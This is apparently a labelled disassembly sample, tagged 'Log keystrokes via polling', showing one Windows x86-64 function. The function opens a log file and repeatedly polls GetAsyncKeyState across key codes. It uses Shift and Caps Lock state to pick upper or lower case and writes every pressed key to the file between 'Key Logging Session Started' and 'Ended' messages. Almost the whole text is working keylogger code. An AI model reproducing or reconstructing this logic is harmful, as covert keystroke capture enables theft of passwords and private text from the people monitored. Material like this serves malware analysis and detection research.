Function at 0x140001370
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x40]
sub rsp, 0x140
cmp qword [rcx + 0x18], 0xf
jbe 0x140001396
mov rcx, qword [rcx]
mov rdx, rcx
lea rcx, [rsp + 0x30]
call fcn.1400029e0
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea r13, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x30], r13
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x2c], edx
cmp qword [rbp - 0x48], 0
jne 0x1400013ea
lea rdx, str.Error_opening_file_for_key_logging._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140002bf0
jmp 0x140001686
lea rdx, str._n_Key_Logging_Session_Started__n
lea rcx, [rsp + 0x30]
call fcn.140002bf0
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
mov rcx, rax
movabs r12, 0xb2f4fc0794908cf3
cmp rbx, 0x989680
jne 0x140001426
imul rbx, rcx, 0x64
jmp 0x140001496
cmp rbx, 0x16e3600
jne 0x14000147a
mov rax, r12
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r8, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, r12
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rbx, rdx
shr rbx, 0x3f
add rbx, rdx
add rbx, r8
jmp 0x140001496
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
lea rbx, [rax + rcx]
movabs rsi, 0x7fffffffffffffff
movabs r14, 0x6fc23ac00
movabs r15, 0x7fffffffff67697e
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rdi, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
mov rcx, rax
cmp rdi, 0x989680
jne 0x1400014d5
imul rax, rcx, 0x64
jmp 0x140001544
cmp rdi, 0x16e3600
jne 0x140001529
mov rax, r12
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r8, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, r12
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, r8
jmp 0x140001544
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
add rax, rcx
sub rax, rbx
cmp rax, r14
jge 0x140001647
mov edi, 8
mov ecx, edi
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x1400015eb
cmp edi, 0x20
jne 0x14000157e
lea rdx, [0x140005598]
lea rcx, [rsp + 0x30]
call fcn.140002bf0
jmp 0x1400015e0
cmp edi, 0xd
jne 0x140001596
lea rdx, [0x14000559c]
lea rcx, [rsp + 0x30]
call fcn.140002bf0
jmp 0x1400015e0
lea eax, [rdi - 0x10]
cmp eax, 2
jbe 0x1400015eb
mov ecx, 0x14
call qword [sym.imp.USER32.dll_GetKeyState]
test al, 1
jne 0x1400015c9
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
js 0x1400015c9
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
jmp 0x1400015d3
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_toupper]
movzx edx, al
lea rcx, [rsp + 0x30]
call fcn.140002dc0
lea rcx, [rsp + 0x30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::flush_void____ptr64]
inc edi
cmp edi, 0xbe
jle 0x140001555
lea rcx, [rbp + 0x88]
call fcn.140001290
mov rax, qword [rbp + 0x88]
cmp rax, r15
jg 0x14000162f
add rax, 0x989680
mov qword [rbp + 0x80], rax
lea rcx, [rbp + 0x80]
call fcn.140003210
jmp 0x1400014b4
mov qword [rbp + 0x80], rsi
lea rcx, [rbp + 0x80]
call fcn.140003210
jmp 0x1400014b4
lea rdx, str._n_Key_Logging_Session_Ended__n
lea rcx, [rsp + 0x30]
call fcn.140002bf0
lea rcx, [rsp + 0x38]
call fcn.140002920
test rax, rax
jne 0x140001686
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x30]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x30], r13
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x2c], edx
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rsp + 0x38], rax
cmp qword [rbp - 0x48], 0
je 0x1400016e3
mov rax, qword [rsp + 0x50]
lea rcx, [rbp - 0x58]
cmp qword [rax], rcx
jne 0x1400016e3
mov rdx, qword [rbp - 0x38]
mov rcx, qword [rbp - 0x40]
mov qword [rax], rcx
mov rax, qword [rsp + 0x70]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rbp - 0x78]
mov dword [rax], edx
cmp byte [rbp - 0x4c], 0
je 0x1400016f3
lea rcx, [rsp + 0x38]
call fcn.140002920
lea rcx, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp - 0x28]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rbx, qword [rsp + 0x190]
add rsp, 0x140
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret